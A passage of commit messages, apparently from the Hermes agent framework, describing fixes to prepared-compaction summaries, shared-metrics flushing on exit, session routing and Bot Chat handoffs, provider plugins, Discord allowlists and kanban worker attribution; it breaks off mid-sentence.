Round-two review of the cancel and fast-path commits:

- A cancelled pass's stream raises AuxiliaryExplicitCancellation, a
  BaseException that _generate_summary and _run_pass did not catch, so
  every superseded pass printed "Exception in thread compaction-prepare"
  to stderr (seen in the live probe). _run_pass now catches it and logs
  the cancel.
- take() snapshotted the candidate at its start; a pass that published
  while compaction was checking that snapshot survived the compaction.
  It never spliced (its fingerprint no longer matched), but the
  prompt-size skip could then keep it and start no pass for a cycle.
  take() now clears every candidate on exit.
- The prompt-size skip measured growth since the plan, so once the
  prompt grew past the threshold while the window gap stayed small,
  every tool batch re-planned again. Keeping a candidate after a full
  check now re-arms the skip from that check.

Tests: one stub models the aux client ending a cancelled stream, the
local wait helper gives way to tests.waiting.wait_until, and the
skipped small-window-delta path gets its own test. Docs and the config
comment name the discard case.
Maintainer ruling on the prepared-compaction design, plus the review findings
(ours and Greptile's) on #144684:

- One pass per compaction. The extension passes (a new summary call every ~8k
  tokens of growth) and the "stale after one tail budget" check are gone: the
  summary splices at its own boundary and every message after it, however
  many, stays verbatim in the tail. No second summary is ever paid for.
- The splice check compares message structure, not text: role, tool call
  ids/names, tool result ids, plus the durable message_uid where both sides
  carry one. Plugins that rewrite text in place (redaction, pre-compaction
  notes) no longer throw the summary away; a dropped/inserted message or a
  rewind into the window (new message_uids) still misses. This also settles
  the fingerprint gap on input_text/output_text parts: text is not compared.
- A pass that recovered on the main model after the summary model failed now
  hands that over on a splice, as an inline call would: summary_model goes
  sticky to the main model, and the "configured compression model failed"
  warning reaches the user. The attempt telemetry carries the pass's aux call
  (model, tokens, duration, fallback) and a new prepared_summary flag.
- The first compaction that needs memory-provider context stops further
  passes for the agent; each would have been discarded and paid twice.
- Turn-end passes are skipped for cron runs and delegated children, whose
  sessions end with the turn.
Review follow-up (Greptile on 41ac847b3ee): caller-supplied conversation_history
that is never persisted carries no message_uid, so the structure-only check
accepted a dropped user/assistant pair once the transcript regrew to the same
shape, and the old summary replaced messages it never summarized.

Each message identity now also carries a text digest. A message whose uid is
present on both sides is still matched by uid alone, so plugin text rewrites
of persisted messages keep the summary; a message without a uid on one side
is matched by text.
Opt-in shared metrics could not say whether anyone turns on
compression.prepare_ahead, or whether the passes it starts pay off.

- hermes.install.snapshot gains compression_prepare_ahead (on/off), read
  from the profile config with the agent's own truthiness. Pre-upgrade
  snapshot rows keep a legacy field set and the v4 schema field is
  optional, so they still validate and package.
- New closed-enum counter hermes.prepared_compaction.count (mark name =
  metric name, projected by the decision-mark table): event, origin,
  reason, failure_class (compression vocabulary), wait_bucket.
  record_prepared_compaction() takes raw values, normalises inside, is a
  no-op unless collection is on and never raises.
- Vocabularies live in shared_metrics_prepared_compaction.py (the
  contract sits at the 2,000-line cap); the contract imports it.
- v4 schema extended in place (additive), docs row + snapshot bullet,
  relay smoke asserts the snapshot field.
Wire hermes.prepared_compaction.count into the prepared-compaction state
machine so a profile that opts in to shared metrics reports whether its
passes pay off, and if not, why:

- pass side (pass thread): pass_started / skipped_busy (process slot
  cap) / pass_completed (summary published) / pass_failed (classified
  as an inline attempt would be, terminal summary failure first) /
  pass_cancelled (reason set by whoever cancelled: superseded,
  session_boundary, wait_timeout, host_cancelled) / internal_error.
- compaction side: used (wait bucket, aux_fallback_main when the pass
  fell back to the main model), discarded (closed miss code + wait),
  auto_disabled (first memory-provider compaction), and compaction_failed
  from the attempt telemetry when a spliced compaction did not commit.

Splice-miss reasons become a str subclass carrying a closed code, so the
log text is unchanged. The pass thread already copies contextvars, so its
rows land in the owning profile.
The live matrix on real processes found two ways a prepared-compaction pass was paid for and never
usable:

- `hermes chat -q` / `-z` runs end with their turn (the gateway evicts the agent right after the
  reply), so a turn-end pass there was always cancelled ~0.5 s later. One-shot sessions now join
  cron runs and delegated children in skipping turn-end passes.
- Releasing an agent without a session boundary (gateway cache eviction, a Desktop rewind,
  managed-worker retire, close()) left a running pass billed to completion. release_clients() and
  close() now discard it (shared-metrics reason `agent_released`).

Pass log lines now carry the session id, so concurrent sessions in one gateway are attributable.
Independent review of the telemetry found:
- a session boundary that woke a waiting compaction was counted twice (the boundary's discard
  plus the woken wait's 'discarded_while_waiting'); the boundary's row is now the only one and the
  dead reason code is dropped from the vocabulary;
- 'used' was recorded in take(), before a stale-attempt abort could still drop the summary; it is
  now recorded by adopt(), the splice itself, with the wait carried on the entry;
- the cancel reason is set under the lock, so a pass finishing in that gap reports the real reason;
- skipped_busy counts once per refused window instead of every tool batch.
Live runs (flag on and off) show the next compaction retries the configured summary model before
falling back again, so the comment no longer claims the fallback is sticky for the session.
Re-review findings:
- a summary take() handed to compress() that the compaction then aborted or no-opped before
  adopt() spliced it was counted nowhere; it is now counted once at the next touch as
  discarded/compaction_aborted;
- a session boundary landing after the pass published but before the waiting compaction woke
  read as a failed pass (a second discarded row); the wake now reads the entry and the cancel flag
  under one lock, so the boundary's row is the only one.
Greptile on 815681917c3:
- a boundary landing after the pass published (and cleared its pending token) but before the
  waiting compaction read the summary still read as a failed pass; take() now notices a discard
  that happened during its wait and leaves the boundary's row as the only one;
- compaction_failed was lost when a pre-commit cancel restored the compressor's attempt telemetry
  (and its prepared_summary flag) before the record was emitted; the spliced attempt id now lives
  on the prepared-compaction state, outside the restored snapshot;
- the deadline-extension test starts its 2 s deadline only once the pass is running.
The union run flaked test_alias_keeps_the_former_gh_extension_diagnosis: a CLI that dies at once
(the old `gh copilot` extension) can close its stdin before ACPClient writes `initialize`, and the
write raised a bare BrokenPipeError, skipping the early-exit path that reports the CLI's stderr
(and the alias's gh-extension diagnosis). Pre-existing on main's CopilotACPClient. A broken pipe on
a request write now waits briefly for the exit and falls into that path. Test drives the race
deterministically (the fake CLI closes stdin before the client's first write).
SessionStore publishes a route transition in two halves: the new entry under _lock, then the
state.db row (insert for /new and a fresh route, reopen for /resume) after releasing it. Anything
that resolved the route in between saw the named conversation's row missing or still ended and
took the #54878 stale-route self-heal: drop the entry and recover the newest open row, which is
the conversation the user just left. A Desktop/Webapp turn finishing on a chat's previous
conversation does exactly that (its post-turn bookkeeping calls get_or_create_session), so after
/new the chat's route named A again and its next message could land there.

The store now remembers the ids it published whose row is not live yet, and
_is_session_ended_in_db does not call those ended. Every reader of that check (the routing
self-heal, the reaped-run eviction, the cached-agent liveness check) gets the fix.
Review follow-up. An id entered _rows_pending before a save that can raise, and the fresh-route
path only cleared it inside _finish_route_transition, so a failed save left the id pending for
good and _is_session_ended_in_db would never call that row ended again. Every publisher now
clears its own id in a finally (get_or_create's create path, reset_session, switch_session),
_replace_route_locked marks the id only after its save returns, and the create kwargs are
computed before the entry is published. The test uses tests.waiting.async_wait_until.
Every graceful gateway stop (SIGTERM, update restart, idle exit, --replace takeover)
funnels through _exit_after_graceful_shutdown, which ends in os._exit and so skips the
shared-metrics runtimes' atexit hook. Sessions still open at the stop (a messaging or
Desktop chat) never closed, so their hermes.session.count / context-peak / tool-usage
rows never reached the local store.

shared_metrics_process.flush_before_hard_exit runs that hook's work (shutdown_runtimes)
on a daemon thread joined for at most 3 s, never raises, and never imports the runtime
module, so with collection off nothing is created. The gateway runs it first, before
the PID/lock release.
The same skipped-atexit loss on the other graceful hard exits: the compute host's
shutdown frame and orphan exit (both via close()), a SIGTERMed kanban worker (whose
normal one-shot exit already runs shutdown_runtimes) and an orphaned slash worker
each now run the bounded flush_before_hard_exit before os._exit. One test file covers
every path with a real NeMo Relay runtime and an open session; red on main.
Review findings 1 (critical) and 2 on #144850, plus the send-pass sibling.

A multiplex gateway or compute host exits from the launch profile's scope, and
the os._exit flush (like main's atexit hook, which has the same flaw) shut down
every profile's runtime under it: profile B (send: false) got the launch
profile's send=True reconciled into its store, an open-ended consent window and
a send pass over its outbox; a profile that turned collection off since its last
turn still had its open sessions written at exit.

- _Runtime.shutdown binds its own profile home (host.profile_key) for every
  caller (atexit, shutdown_runtimes, tests) and checks enabled() inside that
  scope first: a revoked runtime is deactivated, dropping its data unexported.
- _flush_and_export exports under the owner's scope, whoever triggered it.
- The send pass thread inherits that scope (spawn_context_thread): on main it
  ran on a bare Thread, so still_consented() re-checked the LAUNCH profile's
  consent (B's pass read A's send:false; a B revoke would not stop its pass).
- Tests: wait_until replaces the sleep-poll; one three-profile invariant test
  through the real gateway exit funnel.
Review finding 3 on #144850. The flush (up to 3 s with a managed call wedged
in flight) ran before _mark_exited, so a supervisor kill during it recorded a
graceful stop as an unclean death. Order is now release locks, stamp the clean
exit, flush metrics, drain logs; the early-exit paths keep releasing the
PID/lock first. The wedge test now drives the real exit funnel with a real
Relay managed call in flight and asserts both the bound and the ordering.
Review finding 4 on #144850. A store another process held past the 250 ms
busy timeout deferred the exit rows, then the export's drain_deferred dropped
them on the same contention, and os._exit skipped the store's atexit drain.
drain_deferred now re-queues on a busy/locked store (the _write_or_defer
promise), and flush_before_hard_exit drains every live store within the
remaining budget, so contention that clears inside the 3 s bound no longer
loses the open sessions' rows.
macOS Local Network Privacy attributes a process to its responsible app. The gateway that
`hermes gateway ensure` (Desktop's launch path, CLI clients) and the update-time restart
watcher start is a plain detached child, so it is attributed to whichever app started it.
The gateway outlives that app by design; once the app quits, macOS holds every surviving
descendant responsible for itself, and a bare venv Python is denied: every connect to a
model server on another machine fails with `[Errno 65] No route to host`, even though Hermes
is allowed in Local Network settings. Reported in Discord: Test and chat against a LAN Ollama
broke on every Desktop quit/reopen and after in-app updates, and worked only with a gateway
run from Terminal or the installed launchd service (which already runs through osascript,
#71206).

On macOS both spawn sites now start the gateway as a one-off launchd job through the same
osascript JXA wrapper the installed service uses, so osascript (an exempt Apple platform
binary) stays the responsible code for the gateway's whole life. Nothing is installed: the
plist is loaded once and deleted, it never lives in ~/Library/LaunchAgents, has no KeepAlive
and is labelled outside ai.hermes.* so no fleet scan or restart route mistakes it for a
service; the gateway sees XPC_SERVICE_NAME=0 and still reads as unsupervised. When launchd
refuses the job (no GUI session, e.g. over SSH) the old plain-child spawn runs instead.
Every launchctl call (finished-job cleanup, bootstrap, the job's poll and its pgrep) now gets
min(cap, time left before the caller's deadline), so a slow or wedged launchctl can no longer
hold a client past the startup timeout it asked for. The update-time watcher has no deadline
and keeps the fixed caps.
Follow-up to #144850. flush_before_hard_exit drained only the per-profile
runtime stores, so a deferred write to the root (default) profile's store,
where the host-level active-profiles accumulator lives and which no runtime
owns, was still lost at every graceful os._exit (gateway, compute host,
kanban worker, slash worker).

Each SharedMetricsStore now registers itself in a process-level list the
first time it defers a write (next to its atexit drain), and the bounded
exit flush drains that whole list within the same budget. Each deferred
write runs against the store that deferred it, so no profile's rows land
in another's database; collection off creates no store, so nothing is
registered.
Pinned to hermes-official-plugins 77b179d9a4a (PR #181 merge): the sound effects tool, the
bundled sound-design skill (ffmpeg post-processing incl. mono and game variation packs) and the
Desktop sound card + library tab.
test_takeover_revokes_waiting_workers_and_waits_for_an_admitted_write[True]
writes OLD then NEW to a pseudo-terminal's master and then read the slave
once. A write to the master returns before the slave can read it: Linux
hands the bytes to the slave's line discipline later, from a kernel worker,
so under load the first read returns b"OLD\n" with NEW still on its way.
An instrumented copy recorded both master writes returning in order, the
read seeing only OLD, and NEW arriving ~0.03-0.5 ms later (CI: #144804,
run 40274889783).

The test now writes an END marker to the master once every sink write has
finished and reads until it arrives. PTY delivery is ordered, so the marker
comes after everything the session wrote, and the assertion compares the
complete stream. That is also stricter: a revoked worker writing late (the
production race the [False] case guards) now shows up as NEW, OLD, END,
which the single read could miss.

Repro: a relay between the real slave and the test that delivers each line
0.5 s after the one before fails base on every [True] run (20/20) and passes
the fix (0/20).
`/handoff <platform>` repoints the platform route at the local session
(SessionStore.switch_session -> record_gateway_session_peer), which rewrites
the row's routing identity to the platform's. Its local receipt
(gateway.local_policy.v1 / gateway.local_legacy.v1) stayed behind, so the row
matched neither lane:

- authorize took restore_local_session (receipt present) and _checked_entry
  refused it with `stored identity mismatch`: resume, pin/unpin, rename and
  archive answered storage_unavailable, and every boot logged
  `receipt refused`.
- the title registry (session.list title=, session.resume title=, the Bots
  roster's Bot Chat lookup) sent the row to legacy adoption, which answers
  not_found for a messaging row and for any non-native actor (browser
  Webapp), so a handed-off canonical Bot Chat could never be opened again.

Now:
- the explicit repoint retires a local receipt whose target row it moved to
  another route, in the same write (hermes_state_gateway ancestors mode);
- gateway boot heals stores an older build left that way: receipts whose
  target row a messaging lane now holds are released (logged once);
- the title resolver returns a local conversation a messaging lane took over
  (created by a local surface, mountable on its route) through the routed
  mount, so `/resume <title>` and the Bot Chat registry open it there;
- the handoff publishes the lane on the authority, and _publish_route moves a
  still-open LOCAL live entry onto it, so the Desktop that ran /handoff keeps
  its view without a restart;
- resume refreshes the creation policy only for local routes (a platform
  lane has none; it logged `keeps its stored policy` on every open).

Fixes #143286
A compressed local chat's receipt names its newest compression child.
The handoff repointed the route at the logical id, so the rewrite walked
only that row and its ancestors, missed the receipt, and left the tip on
its local identity (the next turn's tip walk then broke it the old way).
Resolve the compression tip before repointing: the whole chain moves onto
the lane with its receipt, the handoff carries the live transcript, and the
still-open viewer is published by its logical owner.

The repoint moves into GatewayStartupMixin._handoff_repoint; the
regression test drives it on the real store, plain and compressed.

Greptile review on #144708.
The reporter of #143286 runs a named bot profile under a multiplexed gateway. Drive that
topology with a real GatewayRunner serving default + `bot`: the Bot Chat lives in the bot
profile's own state.db, the handoff watcher's `_process_handoff(row, 'bot')` runs in that
profile's scope and keys the lane `agent:bot:...`, and after a cold boot the browser Webapp
finds it by title and may control it; the default profile's store never sees the row.

Red on origin/main (`stored identity mismatch` on the still-open Desktop view; the title
lookup answers `not_found` after a restart), green with the fix.
Review of #144708 (Bot Mode keeps one canonical forever-chat per profile + title):

- A Bot/cron delivery after the handoff treated the handed-off Bot Chat as displaceable
  (a messaging row with no receipt), renamed it aside and minted a new canonical chat, so
  the bot row silently switched chats. `displaceable_bot_chat` keeps a handed-off chat whose
  lane still holds it, and `_target` delivers to it on that lane.
- The Desktop view that followed the chat onto the lane stayed writable after the platform's
  own /new, with a route naming the new conversation (Stop, agent lookup and turns would act
  on it). A handed-off live session is now superseded like a history mount when its lane
  publishes another conversation.
- After that /new and a restart the bot row adopted the read-only chat forever. The title
  lookup no longer resolves a handed-off Bot Chat whose lane moved on, and Desktop's titled
  create (and the delivery door) move it aside, `Bot Chat (<platform> <id>)`, before minting
  a fresh one.
- The in-handoff receipt release applies the startup heal's messaging-lane filter.

Also: a chat with a /new reset segment handed off by its conversation id (a platform
`/resume <title>` or a resumed CLI) kept a receipt naming the reset segment while its owner
row moved to the lane, so every cold open failed the lineage check. A receipt whose owner
row a repoint moved is released too (in the write and by the startup heal).
Matching a receipt by its owner row joined receipts whose value is not JSON, and the route
comparison then raised `malformed JSON` out of every repoint and boot heal, where it used to skip
them (tests/gateway/test_local_recovery_pre_profile_origin.py). Only well-formed receipts are
compared; a malformed one stays as it is, refused and logged when touched.
Desktop's titled create renamed and unhid the handed-off Bot Chat before staging the new one,
so a refused create (an invalid cwd) left the saved chat renamed with nothing minted in its
place (Greptile, #144708). The rename now runs after the replacement commits, right before it
takes the title.
Three defects an independent re-review found on #144708 (#143286):

- Data safety. After a local /new (receipt now names the new segment), a
  /handoff of the chat's id moved the stale first segment to the lane and the
  owner-row branch of moved_receipts released the receipt guarding the
  post-/new segment, which was still local: that transcript was reachable from
  nowhere and the platform resumed the stale history. The handoff now repoints
  the receipt's current head (latest /new segment, then its compression tip,
  hermes_state_local.handoff_head); a receipt is released only when the row its
  CURRENT target names moved to a messaging lane, and the rest of that
  conversation moves with it in the same write (hand_off_conversations): its
  earlier segments open as the lane's read-only history and its name follows
  the head over a generated title. A Desktop still holding the chat follows it
  (follow_hand_off).
- Bot Chat after the platform's /new. The roster's canonical_session (raw title
  registry) still named the superseded handed-off chat while the title lookup
  hid it, so Desktop's bot row failed closed ("Could not confirm ... not
  starting a new chat") on every click. The title now moves aside at the moment
  the lane moves off the chat (SessionStore._promote_session_reset, every route
  transition, and at boot), so the registry, the roster and the lookup agree
  at every step; the lookup-side filter and the create-side move-aside go.
- Second handoff to the same home chat. A live local chat handed off to a route
  that already carried a handed-off chat skipped the supersede loop, leaving
  the first chat writable while the route named the second. _publish_route now
  supersedes every other handed-off/history mount on a route whenever a
  session takes it over.

The PR's own history='reset' case asserted the old (stale-segment) behaviour;
it now asserts the head carries on and the earlier segment is read-only history.
Greptile on df9746d5f09:

- A chat handed off to a route again after another one took it (H, then Y,
  then H) skipped the supersede loop because it was already on that route, so
  Y stayed writable while the route named H. _publish_route now treats a
  superseded session coming back as a takeover too.
- The Bot Chat a delivery minted under its automatic creation id, reset
  locally and handed off, leaves its first segment untitled on the lane once
  the name follows the head. _bot_chat_creation_id read that untitled row as an
  interrupted creation and reused its id after the platform's /new, so the next
  delivery hit the released receipt (storage_unavailable). A creation handed
  off to a messaging lane is spent.
- A moved receipt whose lineage holds a non-string entry raised TypeError in
  the boot heal and stopped the profile's start; hand_off_conversations now
  leaves such a receipt as it is (its own reads refuse it, logged).
- The title follow-the-head rule ranks provenance with SessionDB._title_rank
  instead of a copy (a pre-provenance title ranks as the user's).
Round-3 re-review of #144708:

- A lane's /new frees a handed-off Bot Chat's title from the store's worker
  thread, outside the titled-create lock. A Bot delivery it landed in the
  middle of (after the title read, or under the lock before its own displace
  write) re-read an empty title and crashed on row['id'], so the delivery
  failed and nothing was minted. _create_bot_chat now mints when its displace
  write lost to that rename and the title is free; _target mints when its
  re-read finds the title gone.
- The platform's /resume of a local conversation resolved its title to the
  first segment, so after a local /new it moved that stale segment onto the
  lane and released the receipt of the live segment, which stayed local and
  was refused storage_unavailable after a restart. It now resolves the
  conversation's current head through the same conversation_head step
  /handoff uses, and a Desktop still viewing it follows it onto the lane.
Independent review of ff6409bf1ba: Bot Chat X, a local reset to X2, then /handoff of X.
follow_hand_off flagged the Desktop's mount of X as handed off, but the X2 head it then
published was a plain LiveSession (handed_off and history_mount both false). When another
chat was handed off to the same lane, or the platform's /new and its next inbound published a
new conversation, the takeover supersede loop skipped X2: it still authorized session:submit
and session:control, and the turn resolver ran its turns in the new conversation.

The same hole existed without a reset whenever the head was mounted by anything other than
the Desktop that followed it: the lane's inbound after a restart (a fresh LiveSession), or a
viewer's cold open (a history mount the next inbound clears).

Handoff provenance now comes from the row, not from the path that mounts it:
session_route_recovery.moved_local (a row created by a local surface, published on a
messaging route) sets LiveSession.handed_off on every newly constructed mount, in
SessionAuthority._publish_route and in restore_routed_session. Reads stay open; submit and
control answer session_superseded once the lane takes up another conversation.

Review finding on #144708 (independent review)
Refs #143286
Two paths left a moved local conversation's mount wrong (Greptile on 757486d):

- Startup recovery of a lane's queued input (`recover_native_sessions`) and an
  automation wake built the mount without `handed_off`. Once the chat's idle
  local routing entry is pruned (session_store_max_age_days), recovery is what
  mounts it after a restart, and when another chat was then handed off to the
  lane the moved chat stayed writable. Every mount of a messaging route now
  goes through `session_route_recovery.mount`, which reads `handed_off` from
  the row (`moved_local`).
- `_publish_route` moved a mount's source and route only for a local ->
  platform move. A chat a `/resume` brought to another chat kept its old
  route, so a viewer's turn or Stop through it acted on the conversation that
  replaced it there. A mount published on a different route now moves there.

Not routed through `mount`: the local receipt restore (a LOCAL source is never
a moved chat), the hosted-room bind and the two exhaustion-rotation mounts (rows
minted by that platform path), the source-less history mount.
_admission_outcome read the admission row, then its result blob, in two
statements. The drain settles from a worker thread (commit_and_publish), so
the commit could land between them: the result was present while the stale
started row had no outcome, and a completed turn projected as a terminal
`failed` receipt carrying the reply as its error. Terminal receipts leave
_bot_receipt_index, so the settle wake re-read nothing and no reply watcher
existed; the sender kept the false failure for good.

Read the result first; when one exists but the row read was not terminal,
re-read the row (the result and terminal outcome commit together, and
terminal is final).

This is the CI flake test_paused_receipt_rearms_on_resume_without_polling_rpc
("the paused delivery never settled"). Repro: an in-process loop of that
scenario with a 0-20 ms stall between the two reads strands 251/2400
receipts on main (all `failed`/error=reply, row terminal/completed), 0/2400
with this fix. The new test commits the settlement between the two reads
through refresh_receipt and fails on main with ('failed', 'pong').
With compression.prepare_ahead, compress() re-planned the tail cut and threw the
completed background summary away whenever the fresh cut landed before the
summary's boundary (the no-LLM prune made tail rows cheaper, tool-group
alignment moved the cut), then wrote a second summary inline while the user
waited. That breaks the one-summary rule: once the background summary exists it
is used, and everything after its boundary is the tail.

The splice check no longer consults the fresh cut at all. A summary is still
discarded only when the messages it covers changed (rewind, shape change, other
session, moved head). The pass planned its own window with a full tail, so the
tail is never empty. The now-unreachable inside_tail reason leaves the
(unreleased) prepared-compaction metric contract.
Under plugins.isolation: host, profile_call encodes kwargs without callable refs, so the
is_suppressed / explicitly_configured lambdas arrived in the host as non-callable Opaque values
and a hosted provider seeded nothing (while _profile_seeds_pool still disabled generic env
seeding). The seam now passes data: suppressed_sources (frozenset) and explicitly_configured
(bool), computed only for profiles that override the seam.

Shell-exported GH_TOKEN-style names are always stripped from child envs, so a hosted provider
that declares them (env_vars + ambient_credentials) never saw a shell-only token. The plugin host
env now re-adds exactly those names through get_secret under the host home's scope: the launch
home keeps its shell value, a routed home gets only its own .env value, never the launch one.
sync_plugin_provider_catalog copied every profile's static_models into the process-wide
_PROVIDER_MODELS with setdefault: the first served home won forever, so a second home that
registers the same provider name with other models defaulted to the first home's model, and a
home without the plugin listed (and could switch to) a provider it does not have.

Nothing is copied any more. static_catalog(provider) answers from the built-in row, else from the
bound home's profile at lookup time; static_catalog_providers() lists built-ins plus this home's
plugin rows. The catalog readers (defaults, detection, pickers, setup) use them.
The provider-profile poller ran poll_device_login on a background thread whose context was
copied after the request's ?profile= scope ended, so poll hooks read the launch home's config
and a hosted profile polled through the launch home's plugin host (or failed when only the
requested profile used host isolation). Each poll now runs under _config_profile_scope of the
session's profile: the await-safe scope (home + secret scope), never the skills-module lock,
so nothing is held across the wait between polls.
The ProviderProfile contract says the per-model hook returns None to keep the static api_mode,
but runtime resolution replaced None (and the no-model and raising-hook branches) with
chat_completions, so a Responses-default provider with a few chat-only exceptions sent every
other model through Chat Completions. Those branches now fall back to profile.api_mode.
53a51a49cc made every attempt of a user turn's first API call (429/5xx retries, fallback
activations) re-send the provider's user_initiated request headers. Hermes has always sent them
on the first attempt only (retries went out with the route's default), and that difference is
billing-visible (premium-request initiator headers), so it is reverted: the first payload built
in a user turn consumes the flag and is the only user-initiated one.

Kept from 53a51a49cc: the flag is consumed exactly once whatever the route answers, so a route
without attribution or a failing request_headers hook never leaves it set for a tool-loop
follow-up.
missing_credentials_suffix runs while the "No usable credentials" AuthError is being built. A
raising hook (or a plugin host that is down) escaped as RuntimeError/PluginHostUnavailable, and
resolve_runtime_with_fallback walks only on AuthError, so the fallback chain stopped; a non-str
answer (a list from IPC) raised AttributeError the same way. The hook call is now a plugin
boundary: failure or a non-string answer drops the hint, logged once per provider with the
traceback, and the original AuthError (and the fallback walk) is kept.
recover_for_provider printed (and claimed) kept migration notices whenever stdin/stdout were a TTY.
A foreground `hermes gateway run` (tmux, docker -it) has one, so the turn's runtime resolution printed
the Copilot outcome and its "run `hermes auth add copilot`" line to the gateway terminal and the chat
agent got nothing. Only a declared front end (serve_notices_on_stderr, set by the classic CLI) prints
now; every other resolution keeps the outcome for the home's first agent. No other command relied on
the TTY path: `hermes model` / `hermes auth add` never resolve the runtime.
recover_for_provider claimed (printed and deleted) the home's kept notices before it looked at
installs_held, so `hermes doctor` run in-process by the classic CLI ate notices meant for the
home's next agent, mid-check. A held resolution now returns before the claim.
_queue_notice appended while _claim_notices renamed, read and unlinked: a writer holding the file
open across the rename wrote into the unlinked inode and its notice was lost (n_race: 237-1652 of
12000 lost), a torn last line was skipped, and a crash between rename and unlink orphaned a
*.pid.tid file nobody reclaimed. Both now hold the repo's cross-process file lock (auth._file_lock):
the claim reads and removes the file under it, and a crash before the removal leaves the notices for
the next claimant. No claim file exists any more (the format never shipped, so none to sweep).

With security.allow_lazy_installs off every start appended the same warning again (3 gateway starts
delivered 4 copies); an identical kept line is now not appended twice, a claim dedupes, and one
delivery never repeats a kept copy of the line its own attempt reports again.
Every AIAgent's _load_tools ran recover_at_startup(say=agent._emit_startup_warning), which claimed the
home's kept notices. Cron runs, subagents, the curator, kanban workers and background-review forks have
no notice_callback, so the notices were parked on an agent nobody watches and dropped; a cron tick
after a gateway start usually beat the user's next message.

Agent init now only runs the migration and keeps its outcomes in the home. The turn start
(deliver_kept_startup_notices) claims them when the turn has a real sink: the CLI's print sink, or a
driver's notice_callback (gateway chat, Desktop/TUI), and not for an unattended turn
(side_question_lease.is_unattended_turn: fork, cron, delegated child) or suppress_status_output.
The restart-the-gateway hint was gated on having a sink; it is now gated on not being the gateway's
own start (recover_at_startup(gateway_start=True)), so an agent-start install still carries it.
urlparse raises ValueError on an unclosed IPv6 bracket (http://[fe80::1/v1). routes_at_hosts runs for
every row's host check, so one such slot anywhere in a home's routes aborted _pending: recover_at_startup
logged a failure, migrate_all_homes skipped the home, and recover_for_provider raised out of runtime
resolution. The left-core host match now treats such a URL as at no host; utils stays strict for its
other callers.
_load_error read the general plugin manager, which lists a model-provider dir with no error: providers
discovery (_exec_plugin_module) imports it and only logged the failure. And a user-dir model-provider
plugin loads without plugins.enabled, so gating "failed to load" on plugins.enabled told an unlisted
broken plugin to run `hermes plugins enable`, a no-op.

Providers discovery now records each $HERMES_HOME plugin dir's import error on that home's layer (the
registry is per profile home), cleared by the next successful import, and plugin_load_error reads it.
provider_install_hint: present + no profile + in plugins.disabled -> enable; otherwise it failed to
load, with the recorded error and the update command.
129f205a0e made a broken pipe on a request write wait up to 5 s for the CLI to exit, so its exit
text is reported. A CLI that closes stdin but stays alive then fell through to the reply loop and
hung for the whole request timeout (900 s default) before a TimeoutError; main failed at once.
After the wait, a still-running CLI now re-raises the broken pipe. Windows reports a write to a
closed pipe as EINVAL rather than EPIPE; both take the same path.
A failed per-request profile hook stays on the generic answer for the agent's session so request
bytes never flip, but the failure memory survived /new and /resume (reset_session_state reuses the
agent), and the warning was logged once per process, so in a multiplex process every later home's
agent degraded silently. The memory is now cleared at a session boundary and a scoped (agent)
failure is logged once per session; scopeless one-shot callers keep the once-per-process warning.
recover_for_provider's own profile lookup stamps the home's plugin dirs and remembers the miss;
an install that finished within the 1 s stamp TTL (a fast or cached catalog install) was then
invisible to the resolution that triggered it and its immediate retries, which answered "Unknown
provider ... installed but failed to load" with the wrong advice. A successful install now forces
a rescan of the bound home's plugin dirs and forgets its misses (providers.refresh_bound_home).
The developer guide names the data-only seed_pool_credentials arguments and states that
static_models are looked up per profile home. The zh-Hans copy still documented the removed
process_command_fallback field (ACP-R6-5).
#133213 confirms a snapshot-admitted clicker with the gateway's live check, but labelled every
guild click 'group' and passed no thread id. Message intake labels the same channel 'thread',
so a user the gateway admits in a thread could be refused on its approval card ("This bot is
private..."), and a thread_id profile route never matched the click. Label the click like
intake does: a discord.Thread is 'thread' with its id as thread_id.
Under multiplex, authorization reads each profile's own secret scope, so the
DISCORD_ALLOWED_USERS the YAML bridge copies from discord.allow_from into os.environ is never
seen. The fallback to the adapter's extra then read group_allow_from for 'group' sources:
Telegram's group-only list, which Discord does not have. An allowlisted user's guild-channel
messages were dropped and their button clicks refused, while threads and DMs worked.

Discord declares allow_from_covers_groups, so its groups read allow_from. Adapters with a
separate group list (Telegram) are unchanged; a test pins that a Telegram DM-only allow_from
still does not admit the user in a group.
Since 70872e7fa6 the default profile's config-only allow_from reaches
the env under multiplex again, so the guild-channel cases above pass
without the allow_from_covers_groups fallback. A profile running its
own Discord bot still depends on it: only the default profile's list
reaches the env, so its guild channels can be admitted only through its
adapter's allow_from, as its DMs already are.
The thread-click and guild-channel cases pass on main since the default
profile's env allowlist was restored under multiplex, so they are guards,
not regressions. The thread-route case proves the live verdict resolves the
routed profile; it does not prove a user paired only there can answer the
card (the click gate consults the live verdict only for users already in the
connect-time allowlist). The own-bot case never loaded the profile
config.yaml it wrote, and the route case took an unused monkeypatch.
Since the default profile's env allowlist was restored under multiplex,
authorization does reach DISCORD_ALLOWED_USERS for the default bot; only a
secondary profile's own bot depends on its adapter config. Only the
default-profile cases use the real config loader. The own-bot case also
wrote a profile .env and a home config.yaml that nothing read.
The dispatcher spawns `hermes chat -q "work kanban task <id>"` with no turn
author, so memory providers filed the dispatcher prompt and the worker's reply
under the human user's peer. Honcho, for example, derived facts such as
"the user mentioned kanban task t_..." and promoted worker progress notes into
the user's profile.

The spawn now sets HERMES_TURN_AUTHOR to a bot author (`bot:kanban`), and the
non-quiet `-q` one-shot path consumes it the same way `-Q` already does and
forwards it to every turn of the run, including recovery and goal follow-ups.
Providers that understand bot authors route these turns away from the human
peer; a human `-q` run keeps today's unattributed call shape.
Kanban workers no longer run `chat -q`: the spawned process is
hermes_cli.kanban_worker_client, which submits kanban.run to the profile's
owner gateway, and the owner runs the attempt in _run_task_turns. Those
three run_conversation calls (first turn, in-place recovery, goal turns)
passed no turn_author, so memory providers still filed the dispatcher's
prompt and the worker's notes under the operator (#137406). They now pass
a fixed bot author. Its id is kanban:dispatcher rather than bot:kanban,
which a Bot Mode profile named kanban would also produce.
No turn reads it: the spawned worker client only submits kanban.run, and an
owner gateway it starts strips HERMES_TURN_AUTHOR from its environment. The
owner sets the author itself (previous commit). This restores the
TERMINAL_CWD comment sentence about file_tools rejecting relative values.
The chat -q forwarding stays: it gives -q the same author contract as -Q.
Kanban workers do not run chat -q any more (the owner gateway authors their
turns), so the comment and the test no longer name the Kanban spawn: the
test moves to test_single_query_turn_author.py and uses a neutral bot
author instead of bot:kanban, the id the owner-side constant avoids.
A Kanban notify+wake (or background-process completion) that arrived while
/restart was waiting for other sessions was reported as admitted, then lost.
On an idle session the turn was answered with the "not accepting new work"
drain notice; on a busy session it was queued behind the running turn and then
discarded as a pending follow-up when that turn ended. Either way no turn ran,
